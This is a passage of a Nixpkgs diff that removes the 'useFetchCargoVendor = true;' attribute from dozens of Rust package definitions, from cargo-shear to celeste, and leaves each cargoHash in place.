   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-shear/package.nix b/pkgs/by-name/ca/cargo-shear/package.nix
index 3f7fb5c9ec44..5be449636ce6 100644
--- a/pkgs/by-name/ca/cargo-shear/package.nix
+++ b/pkgs/by-name/ca/cargo-shear/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-BLBC4L3GropYXANTKXwOYwp1my6p0L0fZ4YN9aF4HaA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Fd1Rw2LeONIJCrvyNKBpTquUKAMLPcaAcWI7N8Ii6Bs=";
 
   # https://github.com/Boshen/cargo-shear/blob/a0535415a3ea94c86642f39f343f91af5cdc3829/src/lib.rs#L20-L23
diff --git a/pkgs/by-name/ca/cargo-show-asm/package.nix b/pkgs/by-name/ca/cargo-show-asm/package.nix
index 9294970a3ae8..1e8cd6942c59 100644
--- a/pkgs/by-name/ca/cargo-show-asm/package.nix
+++ b/pkgs/by-name/ca/cargo-show-asm/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-DH3jE7nGdwIQVHk80EsC4gYh5+wk6VMWS0d+jZYnX1I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-R+I6EVzHvI1Et4nvxENc3IvfmSLr/g77x4wCMNb2R88=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-shuttle/package.nix b/pkgs/by-name/ca/cargo-shuttle/package.nix
index cccfa424425e..14832ed2e577 100644
--- a/pkgs/by-name/ca/cargo-shuttle/package.nix
+++ b/pkgs/by-name/ca/cargo-shuttle/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-37HQDiIgwxbMcFo7kM/SZ7dJzZc5CzL03xQNiMkG8l8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CYpAsNzQyIPigZSY/PwzGhYHU0316odwkwvxdcVisYk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-sonar/package.nix b/pkgs/by-name/ca/cargo-sonar/package.nix
index 7cf2c74ec0bd..1b8cab3a1774 100644
--- a/pkgs/by-name/ca/cargo-sonar/package.nix
+++ b/pkgs/by-name/ca/cargo-sonar/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-f319hi6mrnlHTvsn7kN2wFHyamXtplLZ8A6TN0+H3jY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KLw6kAR2pF5RFhRDfsL093K+jk3oiSHLZ2CQvrBuhWY=";
 
   doInstallCheck = true;
diff --git a/pkgs/by-name/ca/cargo-sort/package.nix b/pkgs/by-name/ca/cargo-sort/package.nix
index 75e32f0aa49e..db4d78866282 100644
--- a/pkgs/by-name/ca/cargo-sort/package.nix
+++ b/pkgs/by-name/ca/cargo-sort/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-fqmyL4ZSz+nKfUIrcrfLRT9paEas5d00Y/kvEqyz2vw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-z5YT+6fU12WrByu3NZwodU9Y5489eCRrHUY+H/Hka+c=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-spellcheck/package.nix b/pkgs/by-name/ca/cargo-spellcheck/package.nix
index e253a5be5d1c..a1116fe1c7a4 100644
--- a/pkgs/by-name/ca/cargo-spellcheck/package.nix
+++ b/pkgs/by-name/ca/cargo-spellcheck/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-saRr1xEBefLoCgCxU/pyQOmmt/di+DOQHMoVc4LgRm0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-MGjyoHejsUd6HCoZVlw1NDG6TE9Anh05IeObHmcnwg0=";
 
   nativeBuildInputs = [ rustPlatform.bindgenHook ];
diff --git a/pkgs/by-name/ca/cargo-supply-chain/package.nix b/pkgs/by-name/ca/cargo-supply-chain/package.nix
index 36b9aca3122c..b94f21a9c859 100644
--- a/pkgs/by-name/ca/cargo-supply-chain/package.nix
+++ b/pkgs/by-name/ca/cargo-supply-chain/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-KjeYB9TFbuJ2KPaObeM0ADs5F8uJJ6/czMPQjBUgIk8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fsW3qTyFMcj/OTouOah1ZFskw075V8jBwhs02AxY7kU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-sweep/package.nix b/pkgs/by-name/ca/cargo-sweep/package.nix
index da258b64fcfa..cd8a84a1c410 100644
--- a/pkgs/by-name/ca/cargo-sweep/package.nix
+++ b/pkgs/by-name/ca/cargo-sweep/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-L9tWTgW8PIjxeby+wa71NPp3kWMYH5D7PNtpk8Bmeyc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FCpCGp2WUTKTjvUewcOqLoNPlZDnOa4TsamSQNU1xxU=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/cargo-swift/package.nix b/pkgs/by-name/ca/cargo-swift/package.nix
index 10af9e673561..79cc437ceb85 100644
--- a/pkgs/by-name/ca/cargo-swift/package.nix
+++ b/pkgs/by-name/ca/cargo-swift/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-D6s25pOMdVZXBtBce/KEvqwn/9owrmxDOev3E59qrQ8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pypBvfVW7m9dAvrc9ftrBOJ/wC+xLUuhGr7g7DVdZDI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-sync-readme/package.nix b/pkgs/by-name/ca/cargo-sync-readme/package.nix
index f80d99c916e6..ec2aa8af8085 100644
--- a/pkgs/by-name/ca/cargo-sync-readme/package.nix
+++ b/pkgs/by-name/ca/cargo-sync-readme/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-n9oIWblTTuXFFQFN6mpQiCH5N7yg5fAp8v9vpB5/DAo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-A1LZKENNOcgUz6eacUo9WCKIZWA7dJa0zuZrgzRr/Js=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-tally/package.nix b/pkgs/by-name/ca/cargo-tally/package.nix
index 5f54ba0c9d87..50b902d7dc44 100644
--- a/pkgs/by-name/ca/cargo-tally/package.nix
+++ b/pkgs/by-name/ca/cargo-tally/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-SNTqoxguv+HRdTLBL+cxUGNmprlC6VnpZ8xp6tKr+is=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-gpGBXh1qR5cFZXDSYKDYg8d4/A/K88dYSUb9mNrmGno=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-tarpaulin/package.nix b/pkgs/by-name/ca/cargo-tarpaulin/package.nix
index 29712c160710..0607a8679eb0 100644
--- a/pkgs/by-name/ca/cargo-tarpaulin/package.nix
+++ b/pkgs/by-name/ca/cargo-tarpaulin/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-68WDe0Fp0QJ6WCVJFeMniJTpGSzfxLGLM/a/CZxVxrA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Uf+l4LqPoG8FKvZD0lYGC2hz7gLZYJf6HAUe0SQiT9s=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-tauri/package.nix b/pkgs/by-name/ca/cargo-tauri/package.nix
index 929154a63e5e..317b40b2735a 100644
--- a/pkgs/by-name/ca/cargo-tauri/package.nix
+++ b/pkgs/by-name/ca/cargo-tauri/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0J55AvAvvqTVls4474GcgLPBtSC+rh8cXVKluMjAVBE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nkY1ydc2VewRwY+B5nR68mz8Ff3FK1KoHE4dLzNtPkY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-temp/package.nix b/pkgs/by-name/ca/cargo-temp/package.nix
index c1efbb8ca254..bcd5a26e9c21 100644
--- a/pkgs/by-name/ca/cargo-temp/package.nix
+++ b/pkgs/by-name/ca/cargo-temp/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-71kAlZKSBnROZ8wXe4kQa8nNug5/hk6NKsqHoQU5pWc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rHTEWc3JAnsz5z+NmTb84VSXHSR6nNlb5C+n9VxvnUQ=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-toml-lint/package.nix b/pkgs/by-name/ca/cargo-toml-lint/package.nix
index 19b9758d1eee..eed7bb982b55 100644
--- a/pkgs/by-name/ca/cargo-toml-lint/package.nix
+++ b/pkgs/by-name/ca/cargo-toml-lint/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-U3y9gnFvkqJmyFqRAUQorJQY0iRzAE9UUXzFmgZIyaM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ymf91oCLOY5vo1pncCT83j3k8wyLEwAl3/8lnAyPdzI=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-typify/package.nix b/pkgs/by-name/ca/cargo-typify/package.nix
index 60d3394df4e6..b2e01e48e05c 100644
--- a/pkgs/by-name/ca/cargo-typify/package.nix
+++ b/pkgs/by-name/ca/cargo-typify/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-vokhWIY5iikTyADrqxp6DIq+tJ+xdFPebDFTddJnstA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1qxWFyA9xCnyDES27uj7gDc5Nf6qdikNkpuf/DP/NAU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-udeps/package.nix b/pkgs/by-name/ca/cargo-udeps/package.nix
index 858c4eb32560..a4bb6c1a794a 100644
--- a/pkgs/by-name/ca/cargo-udeps/package.nix
+++ b/pkgs/by-name/ca/cargo-udeps/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-4/JfD2cH46it8PkU58buTHwFXBZI3sytyJCUWl+vSAE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4fF5nW8G2XMvC2K2nW7fhZL9DvjW4/cZXSCJurSu9NE=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-ui/package.nix b/pkgs/by-name/ca/cargo-ui/package.nix
index 08f4ca307acb..87b16544baba 100644
--- a/pkgs/by-name/ca/cargo-ui/package.nix
+++ b/pkgs/by-name/ca/cargo-ui/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-M/ljgtTHMSc7rY/a8CpKGNuOSdVDwRt6+tzPPHdpKOw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-odcyKOveYCWQ35uh//s19Jtq7OqiUnkeqbh90VWHp9A=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-unfmt/package.nix b/pkgs/by-name/ca/cargo-unfmt/package.nix
index 3e03f18cc6a6..9484d5f71b1c 100644
--- a/pkgs/by-name/ca/cargo-unfmt/package.nix
+++ b/pkgs/by-name/ca/cargo-unfmt/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-nvn4nZkkNQQvzShwoxtFqHeyhXQPm2GJoTKBI+MkFgM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-23mroUZFF4tPV92NhPlauGgTwLXsoxtE+Paqj5zsp7Q=";
 
   # Doc tests are broken on 0.3.3
diff --git a/pkgs/by-name/ca/cargo-unused-features/package.nix b/pkgs/by-name/ca/cargo-unused-features/package.nix
index 7502501d53df..77fc9f796577 100644
--- a/pkgs/by-name/ca/cargo-unused-features/package.nix
+++ b/pkgs/by-name/ca/cargo-unused-features/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gdwIbbQDw/DgBV9zY2Rk/oWjPv1SS/+oFnocsMo2Axo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-IiS4d6knNKqoUkt0sRSJ+vNluqllS3mTsnphrafugIo=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-update/package.nix b/pkgs/by-name/ca/cargo-update/package.nix
index 2ad40ab41481..a8420dfcebe1 100644
--- a/pkgs/by-name/ca/cargo-update/package.nix
+++ b/pkgs/by-name/ca/cargo-update/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Vl5ClzS3OULsd+3dlaN5iZPw2YZeBSPHWFOS+izmr7Q=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Yq2jT8YnWPsNe7akShsj0nWxXXpgNvX1A95x7O8LOes=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-v5/package.nix b/pkgs/by-name/ca/cargo-v5/package.nix
index 942a5912a72e..32c44d3986fb 100644
--- a/pkgs/by-name/ca/cargo-v5/package.nix
+++ b/pkgs/by-name/ca/cargo-v5/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-bXzJvlhG/IJOu+D1iluJD3wDoiJXWzXYJ+ZUG6xMCeA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nOcwHy+aji1LgR/VBZDRFDgM+b2ScpVE+H3W5HKEM5o=";
 
   buildFeatures = [ "full" ];
diff --git a/pkgs/by-name/ca/cargo-valgrind/package.nix b/pkgs/by-name/ca/cargo-valgrind/package.nix
index cadb8bc4cc51..177c8055d73a 100644
--- a/pkgs/by-name/ca/cargo-valgrind/package.nix
+++ b/pkgs/by-name/ca/cargo-valgrind/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-yUCDKklkfK+2n+THH4QlHb+FpeWfObXpmp4VozsFiUM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-nTqdsi+5YmOzQ5DPn3jOfUXUUut9uo5xKyx/R2MjV1A=";
 
   passthru = {
diff --git a/pkgs/by-name/ca/cargo-vet/package.nix b/pkgs/by-name/ca/cargo-vet/package.nix
index 25bde7e2bbd2..3422c9e8b3ba 100644
--- a/pkgs/by-name/ca/cargo-vet/package.nix
+++ b/pkgs/by-name/ca/cargo-vet/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-HSEhFCcdC79OA8MP73De+iLIjcr1XMHxfJ9a1Q3JJYI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+X6DLxWPWMcGzJMVZAj3C5P5MyywIb4ml0Jsyo9/uAE=";
 
   # the test_project tests require internet access
diff --git a/pkgs/by-name/ca/cargo-vibe/package.nix b/pkgs/by-name/ca/cargo-vibe/package.nix
index f339d434a3df..fbfd4f899058 100644
--- a/pkgs/by-name/ca/cargo-vibe/package.nix
+++ b/pkgs/by-name/ca/cargo-vibe/package.nix
@@ -18,7 +18,7 @@ rustPlatform.buildRustPackage {
     rev = "a54d87b080ff7d8b3207f83f8f434b226572f0fe";
     hash = "sha256-0IwxbMcRH+6WgrzpcU5zfRuKs80XY0mDBjDE9DBnOFk=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-qQLBq3jV3Ii/8KDTNRPi0r2KnJDtFIJURNx9zTsGDMQ=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-wasi/package.nix b/pkgs/by-name/ca/cargo-wasi/package.nix
index 52772adaaf6e..b87d72214d3d 100644
--- a/pkgs/by-name/ca/cargo-wasi/package.nix
+++ b/pkgs/by-name/ca/cargo-wasi/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-fmQ23BtcBUPNcgZgvNq85iqdY6WRUhqwAp4aIobqMIw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GTpFgoKtAH06xBJ5X6w37ApTVjBLX7S4asWOB4/mN4g=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-watch/package.nix b/pkgs/by-name/ca/cargo-watch/package.nix
index b994a7a853c5..03a9de450f22 100644
--- a/pkgs/by-name/ca/cargo-watch/package.nix
+++ b/pkgs/by-name/ca/cargo-watch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-agwK20MkvnhqSVAWMy3HLkUJbraINn12i6VAg8mTzBk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4AVZ747d6lOjxHN+co0A7APVB5Xj6g5p/Al5fLbgPnc=";
 
   NIX_LDFLAGS = lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isx86_64) [
diff --git a/pkgs/by-name/ca/cargo-whatfeatures/package.nix b/pkgs/by-name/ca/cargo-whatfeatures/package.nix
index e46acabfeb9b..4e7f165e3d00 100644
--- a/pkgs/by-name/ca/cargo-whatfeatures/package.nix
+++ b/pkgs/by-name/ca/cargo-whatfeatures/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-YJ08oBTn9OwovnTOuuc1OuVsQp+/TPO3vcY4ybJ26Ms=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-p95aYXsZM9xwP/OHEFwq4vRiXoO1n1M0X3TNbleH+Zw=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/cargo-wipe/package.nix b/pkgs/by-name/ca/cargo-wipe/package.nix
index fe6a8704c5c9..f4eb1a7e861a 100644
--- a/pkgs/by-name/ca/cargo-wipe/package.nix
+++ b/pkgs/by-name/ca/cargo-wipe/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-xMYpZ6a8HdULblkfEqnqLjX8OVFJWx8MHDGNhuFzdTc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6Od0xP0Sp3839WbvN0VVAIsY8I1LAsR62yzXtcCSXQY=";
 
   passthru = {
diff --git a/pkgs/by-name/ca/cargo-wizard/package.nix b/pkgs/by-name/ca/cargo-wizard/package.nix
index 1096c2324439..b6d0850302e7 100644
--- a/pkgs/by-name/ca/cargo-wizard/package.nix
+++ b/pkgs/by-name/ca/cargo-wizard/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oFPSgjXZ+Kq59tV/7s6WPF6FHXENoZv8D245yyT0E9E=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ClulQP+1/RLvOWWB3uKTCn2Sx3+TO25qRs456DWHKu0=";
 
   preCheck = ''
diff --git a/pkgs/by-name/ca/cargo-workspaces/package.nix b/pkgs/by-name/ca/cargo-workspaces/package.nix
index 59befd9ae071..88d0bea426d8 100644
--- a/pkgs/by-name/ca/cargo-workspaces/package.nix
+++ b/pkgs/by-name/ca/cargo-workspaces/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-JqLKFVM/EnVAPF7erINpHdaaDG+g2nbB0iE/hB1gml8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-EfTcbgvOQ2KgUpu4+QBUVTaz/ToH9FuMHlXMpJN1BK4=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/cargo-xbuild/package.nix b/pkgs/by-name/ca/cargo-xbuild/package.nix
index 973edf44d469..15a3eec1e660 100644
--- a/pkgs/by-name/ca/cargo-xbuild/package.nix
+++ b/pkgs/by-name/ca/cargo-xbuild/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-29rCjmzxxIjR5nBN2J3xxP+r8NnPIJV90FkSQQEBbo4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8ceL4Ntb+P+BvLqlnSxKcyZREckyWAKDhxR6prjaxHM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-xwin/package.nix b/pkgs/by-name/ca/cargo-xwin/package.nix
index 5cdbbea67be7..f8fddff66b1b 100644
--- a/pkgs/by-name/ca/cargo-xwin/package.nix
+++ b/pkgs/by-name/ca/cargo-xwin/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bzyEIBOa0yqjAYjWGw4Fbb8Cv3yCCfJ4vV0q600Rwyk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-8V5F0uhuJlc2uJtebQoHJT/qRZPCT2gXjwpRFbzUezk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargo-zigbuild/package.nix b/pkgs/by-name/ca/cargo-zigbuild/package.nix
index 856ef613ceaa..50dd521ff812 100644
--- a/pkgs/by-name/ca/cargo-zigbuild/package.nix
+++ b/pkgs/by-name/ca/cargo-zigbuild/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-sUoEKLaUBxKKtCwgw/CcLrVRA4OMhto7d0PR+TMU5xk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jvSOYWydnCFgJx1LTzQ1kHEVpzsdPLo19NVMBaLJEeQ=";
 
   nativeBuildInputs = [ makeWrapper ];
diff --git a/pkgs/by-name/ca/cargo2junit/package.nix b/pkgs/by-name/ca/cargo2junit/package.nix
index b10833d7f7b2..f5272e931529 100644
--- a/pkgs/by-name/ca/cargo2junit/package.nix
+++ b/pkgs/by-name/ca/cargo2junit/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     ./0001-update-time-rs.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FPCLy4mIuUeHMuYgYGTs/fn8tUf55LVWBwrrA5hiG2k=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ca/cargonode/package.nix b/pkgs/by-name/ca/cargonode/package.nix
index b69be19d552f..73ca12d67938 100644
--- a/pkgs/by-name/ca/cargonode/package.nix
+++ b/pkgs/by-name/ca/cargonode/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-O5+wAM99m1rgQpwz36mkHEU/FvGnY6hBCKPMIGXCeCU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dYOdnyKdzL93kuSTUb+1vRqfDgkZLymaEZo9FUrR1JI=";
 
   checkFlags = [
diff --git a/pkgs/by-name/ca/carl/package.nix b/pkgs/by-name/ca/carl/package.nix
index c0e5ead27701..836a598c876a 100644
--- a/pkgs/by-name/ca/carl/package.nix
+++ b/pkgs/by-name/ca/carl/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   doCheck = false;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kzHMjrLCiiMLMTSozKq5jMWq3rGb+xsXhZoOuod7qGE=";
 
   meta = {
diff --git a/pkgs/by-name/ca/castor/package.nix b/pkgs/by-name/ca/castor/package.nix
index e3ac64904bd3..4d142863bf77 100644
--- a/pkgs/by-name/ca/castor/package.nix
+++ b/pkgs/by-name/ca/castor/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-yYLDbxmUR86fdpbHQQTiHVUbicnOD75cl3Vhofw5qr0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-6X3qZZ1iKXYtl59aGAnd4RzY/kBI4Q8zmX+JYMlKwJU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/catfs/package.nix b/pkgs/by-name/ca/catfs/package.nix
index f60fdf36232d..ce11652a0b5f 100644
--- a/pkgs/by-name/ca/catfs/package.nix
+++ b/pkgs/by-name/ca/catfs/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-hbv4SNe0yqjO6Oomev9uKqG29TiJeI8G7LH+Wxn7hnQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7MrjyIwXiHy6+rrGGpnfKF1+h1dEgUmo+IlwJlDwWbQ=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ca/catppuccin-catwalk/package.nix b/pkgs/by-name/ca/catppuccin-catwalk/package.nix
index d27b15eb52e5..ab5ebcf62d6a 100644
--- a/pkgs/by-name/ca/catppuccin-catwalk/package.nix
+++ b/pkgs/by-name/ca/catppuccin-catwalk/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-Yj9xTQJ0eu3Ymi2R9fgYwBJO0V+4bN4MOxXCJGQ8NjU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-stO8ejSC4UeEeMZZLIJ8Wabn7A6ZrWQlU5cZDSm2AVc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ca/catppuccin-whiskers/package.nix b/pkgs/by-name/ca/catppuccin-whiskers/package.nix
index f98af0a263a7..fe67acb59f13 100644
--- a/pkgs/by-name/ca/catppuccin-whiskers/package.nix
+++ b/pkgs/by-name/ca/catppuccin-whiskers/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-OLEXy9MCrPQu1KWICsYhe/ayVqxkYIFwyJoJhgiNDz4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-CVg7kcOTRa8KfDwiJHQhTPQfK6g3jOMa4h/BCUo3ehw=";
 
   meta = {
diff --git a/pkgs/by-name/ca/catppuccinifier-cli/package.nix b/pkgs/by-name/ca/catppuccinifier-cli/package.nix
index eff6c9216011..5f245e68314c 100644
--- a/pkgs/by-name/ca/catppuccinifier-cli/package.nix
+++ b/pkgs/by-name/ca/catppuccinifier-cli/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/src/catppuccinifier-cli";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-oFY07E31ZFy4AphqDCqL6BAhUNQtakHmLwER1RsAE7o=";
 
   meta = {
diff --git a/pkgs/by-name/ca/cauwugo/package.nix b/pkgs/by-name/ca/cauwugo/package.nix
index 84689615aa40..11f333fa354e 100644
--- a/pkgs/by-name/ca/cauwugo/package.nix
+++ b/pkgs/by-name/ca/cauwugo/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-9gWUu2qbscKlbWZlRbOn+rrmizegkHxPnwnAmpaV1Ww=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-05wx0lqgMIVTe6OQTCUQXmaPeGPw43wuEuuGUsGV4VM=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/cb/cbfmt/package.nix b/pkgs/by-name/cb/cbfmt/package.nix
index 1486293f4f6b..311d6e89d1e2 100644
--- a/pkgs/by-name/cb/cbfmt/package.nix
+++ b/pkgs/by-name/cb/cbfmt/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-/ZvL1ZHXcmE1n+hHvJeSqmnI9nSHJ+zM9lLNx0VQfIE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C1FpwC1JsKOkS59xAcwqpmZ2g7rr+HHRdADURLs+9co=";
 
   passthru.tests.version = testers.testVersion {
diff --git a/pkgs/by-name/cd/cdwe/package.nix b/pkgs/by-name/cd/cdwe/package.nix
index 39c8935faedc..cad73a5bf830 100644
--- a/pkgs/by-name/cd/cdwe/package.nix
+++ b/pkgs/by-name/cd/cdwe/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-6NWhx82BXhWhbI18k5gE3vEkw9v5gstE8ICJhtq68rM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-pZpG98lwvggBU1TBb2JuSNLev5Jx8n5QjY902dJVn0Y=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ce/cedar/package.nix b/pkgs/by-name/ce/cedar/package.nix
index dcc28f431b17..390a2c5bf865 100644
--- a/pkgs/by-name/ce/cedar/package.nix
+++ b/pkgs/by-name/ce/cedar/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-o4oSZcQdOQsCbu92w0jY/EQKGtQis+8tUxaLIqVC1po=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1vEI0dtdb9CKhNvFeBL8KdxSfzF77X7zl1xxpvvRCQk=";
 
   passthru = {
diff --git a/pkgs/by-name/ce/celeste/package.nix b/pkgs/by-name/ce/celeste/package.nix
index acc76f8f5302..38754f36997a 100644
--- a/pkgs/by-name/ce/celeste/package.nix
+++ b/pkgs/by-name/ce/celeste/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Yj2PvAlAkwLaSE27KnzEmiRAD5K/YVGbF4+N3uhDVT8=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OBGDnhpVLOPdYhofWfeaueklt7KBkLhM02JNvuvUQ2Q=";
 
   postPatch = ''
